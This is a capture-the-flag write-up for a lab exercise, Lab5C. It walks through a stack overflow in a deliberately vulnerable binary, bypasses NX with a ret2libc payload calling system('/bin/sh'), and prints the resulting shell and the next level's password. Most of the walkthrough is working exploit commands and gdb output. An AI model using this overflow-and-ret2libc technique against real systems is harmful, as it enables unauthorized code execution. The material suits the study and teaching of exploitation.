Lab5C Write-up (Easy)
First, log into the Lab05 as lab5C (lab5C:lab05start
) and go to the challenges folder:
$ ssh lab5C@<VM_IP>
$ cd /levels/lab05/
Let’s try to execute the program:
lab5C@warzone:/levels/lab05$ ./lab5C
I included libc for you...
Can you ROP to system()?
Maybe...
Okay, we probably need to provide a ROP-chain here. But before that, note that from the beginning of the challenge, the binaries were compiled with -z execstack
which marks the stack as executable, but it’s no longer the case as we can see by running checksec
on our executable.
$ checksec ./lab5C
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2./lab5C
See the NX enabled flag? Data Execution Prevention (or DEP) is enabled, it’s gonna be a bit more difficult to execute our own code on the stack. DEP is an exploit mitigation technique used to ensure that only code segments are ever marked as executable and mitigate code injection / shellcode payloads.
If we try to execute code injected on the stack, the binary will segfault. Lucky for us, some segments in the binary are still executable, like .text.
lab5C@warzone:/levels/lab05$ readelf -S ./lab5C
There are 30 section headers, starting at offset 0x1150:
Section Headers:
...[snip]...
[11] .init PROGBITS 080484f8 0004f8 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048520 000520 000050 04 AX 0 0 16
[13] .text PROGBITS 08048570 000570 000202 00 AX 0 0 16
[14] .fini PROGBITS 08048774 000774 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048788 000788 00003c 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 080487c4 0007c4 000034 00 A 0 0 4
...[snip]...
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
So, if you can’t inject code, you must re-use the existing code! This technique is called ROP or Return Oriented Programming. It aims to reuse existing code, also called gadgets, in a target binary as a method to bypass DEP.
A gadget is a sequence of meaningful instructions typically followed by a return (or ret
) instruction. Usually multiple gadgets are chained together to compute malicious actions like a shellcode does. These chains are called ROP Chains. Here are some examples of gadgets:
; Gadget 1
xor eax, eax
ret
; Gadget 2
pop ebx
pop eax
ret
; Gadget 3
add eax,ebx
ret
There are many tools to find gadgets in an executable like ropgadget
:
$ ropgadget ./lab5C
Gadgets information
============================================================
0x080488b3 : adc al, 0x41 ; ret
0x0804860b : add al, -0x39 ; add al, 0x24 ; and al, 0xffffffa0 ; add al, 8 ; call edx
0x080485d0 : add al, 0x24 ; and al, 0xffffffa0 ; add al, 8 ; call eax
0x0804860d : add al, 0x24 ; and al, 0xffffffa0 ; add al, 8 ; call edx
0x0804887d : add al, 0x6e ; ret
0x08048638 : add al, 8 ; add ecx, ecx ; ret
...[snip]...
We won’t go further in the explanation as the course gives you some hints about it. Let’s check the code.
Source Code Analysis
The code is fairly simple:
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];
/* reads a string, copies it to a global */
void copytoglobal()
{
char buffer[128] = {0};
gets(buffer);
memcpy(global_str, buffer, 128);
}
int main()
{
char buffer[128] = {0};
printf("I included libc for you...\n"\
"Can you ROP to system()?\n");
copytoglobal();
return EXIT_SUCCESS;
}
We can already see that there will be an overflow if we send too much data. Now, we just need to build find how many bytes are necessry to overwrite EIP and build a ROP chain.
Dynamic Analysis
Here, we’ll create a pattern and send it as input to the binary.
$ gdb -q ./lab5C
Reading symbols from ./lab5C...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA'
gdb-peda$ r < <(python -c "print('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA')")
Starting program: /levels/lab05/lab5C < <(python -c "print('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA')")
I included libc for you...
Can you ROP to system()?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41415341 ('ASAA')
ECX: 0x0
EDX: 0x804a060 ("AAA%AAsAABAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlA")
ESI: 0x5441416f ('oAAT')
EDI: 0x41704141 ('AApA')
EBP: 0x41415541 ('AUAA')
ESP: 0xbffff620 ("AArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x56414171 ('qAAV')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x56414171
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 ("AArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffff624 ("AWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffff628 ("sAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffff62c ("AAtAAYAAuAAZAAvAAwA")
0016| 0xbffff630 ("AYAAuAAZAAvAAwA")
0020| 0xbffff634 ("uAAZAAvAAwA")
0024| 0xbffff638 ("AAvAAwA")
0028| 0xbffff63c --> 0x417741 ('AwA')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56414171 in ?? ()
It segfault, good. Now we can look for the pattern in memory.
gdb-peda$ pattern_search
Registers contain pattern buffer:
EIP+0 found at offset: 165
EBX+0 found at offset: 149
EDI+0 found at offset: 157
EBP+0 found at offset: 161
ESI+0 found at offset: 153
...[snip]...
EIP seems to be at offset 165, let’s build the first proof of concept.
gdb-peda$ r < <(python -c "print('A' * 165 + 'BBBB' + 31 * 'C')")
Starting program: /levels/lab05/lab5C < <(python -c "print('A' * 165 + 'BBBB' + 31 * 'C')")
I included libc for you...
Can you ROP to system()?
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff620 ("AAAAABBBB", 'C' <repeats 31 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 ("AAAAABBBB", 'C' <repeats 31 times>)
0004| 0xbffff624 ("ABBBB", 'C' <repeats 31 times>)
0008| 0xbffff628 ("B", 'C' <repeats 31 times>)
0012| 0xbffff62c ('C' <repeats 28 times>)
0016| 0xbffff630 ('C' <repeats 24 times>)
0020| 0xbffff634 ('C' <repeats 20 times>)
0024| 0xbffff638 ('C' <repeats 16 times>)
0028| 0xbffff63c ('C' <repeats 12 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Hum, it seems that we are a bit off. Let’s check the stack and try to fix that.
gdb-peda$ x/32wx $esp
0xbffff620: 0x41414141 0x42424241 0x43434342 0x43434343
0xbffff630: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff640: 0x43434343 0x43434343 0x00000000 0x00000000
0xbffff650: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff660: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff670: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff680: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff690: 0x00000000 0x00000000 0x00000000 0x00000000
Ok, we are 9 bytes off, the 5 bytes on the stack + the 4 bytes stored in the EIP.
gdb-peda$ r < <(python -c "print('A' * 156 + 'BBBB' + 31 * 'C')")
Starting program: /levels/lab05/lab5C < <(python -c "print('A' * 156 + 'BBBB' + 31 * 'C')")
I included libc for you...
Can you ROP to system()?
Program received signal SIGSEGV, Segmentation fault.
...[snip]...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Better! As stated in the code, the libc is included and could be used to do a ret2libc exploit. We just need some information like a pointer to “/bin/sh” and system().
gdb-peda$ searchmem "/bin/sh" libc
Searching for '/bin/sh' in: libc ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
Now, before running the PoC, let’s put a breakpoint at the return address of copytoglobal() to check the content of the stack before executing the payload.
gdb-peda$ break *copytoglobal+82
Breakpoint 1 at 0x80486bf
gdb-peda$ r < <(python -c "print('A' * 156 + '\x90\x31\xe6\xb7' + 'JUNK' + '\x24\x3a\xf8\xb7' + 31 * 'C')")
Starting program: /levels/lab05/lab5C < <(python -c "print('A' * 156 + '\x90\x31\xe6\xb7' + 'JUNK' + '\x24\x3a\xf8\xb7' + 31 * 'C')")
I included libc for you...
Can you ROP to system()?
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff61c --> 0xb7e63190 (<__libc_system>: push ebx)
EIP: 0x80486bf (<copytoglobal+82>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486bc <copytoglobal+79>: pop esi
0x80486bd <copytoglobal+80>: pop edi
0x80486be <copytoglobal+81>: pop ebp
=> 0x80486bf <copytoglobal+82>: ret
0x80486c0 <main>: push ebp
0x80486c1 <main+1>: mov ebp,esp
0x80486c3 <main+3>: push edi
0x80486c4 <main+4>: push ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff61c --> 0xb7e63190 (<__libc_system>: push ebx)
0004| 0xbffff620 ("JUNK$:\370\267", 'C' <repeats 31 times>)
0008| 0xbffff624 --> 0xb7f83a24 ("/bin/sh")
0012| 0xbffff628 ('C' <repeats 31 times>)
0016| 0xbffff62c ('C' <repeats 27 times>)
0020| 0xbffff630 ('C' <repeats 23 times>)
0024| 0xbffff634 ('C' <repeats 19 times>)
0028| 0xbffff638 ('C' <repeats 15 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080486bf in copytoglobal ()
gdb-peda$ x/16wx $esp
0xbffff61c: 0xb7e63190 0x4b4e554a 0xb7f83a24 0x43434343
0xbffff62c: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff63c: 0x43434343 0x43434343 0x00434343 0x00000000
0xbffff64c: 0x00000000 0x00000000 0x00000000 0x00000000
We can see that the pointer to system() (0xb7e63190
) will be the first to be executed, then we have our usual “JUNK” string (0x4b4e554a
) and, finally, the pointer to our “/bin/sh” string (0xb7f83a24
). Normally, if we continue with the execution, we should get a shell.
gdb-peda$ conti
Continuing.
[New process 4496]
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
process 4496 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
[New process 4497]
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
process 4497 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Error in re-setting breakpoint 1: No symbol "copytoglobal" in current context.
[Inferior 3 (process 4497) exited normally]
Warning: not running or target is remote
Great! Let’s write our exploit outside gdb
!
Solution
The main advantage of this technique is we won’t need to play with the offset of the return address. The exploit should work right away.
lab5C@warzone:/levels/lab05$ (python -c "print(156 * 'A' + '\x90\x31\xe6\xb7' + 'JUNK' + '\x24\x3a\xf8\xb7')"; cat -) | ./lab5C
I included libc for you...
Can you ROP to system()?
whoami
lab5B
cat /home/lab5B/.pass
s0m3tim3s_r3t2libC_1s_3n0ugh
Easy, right? You can go to the next challenge.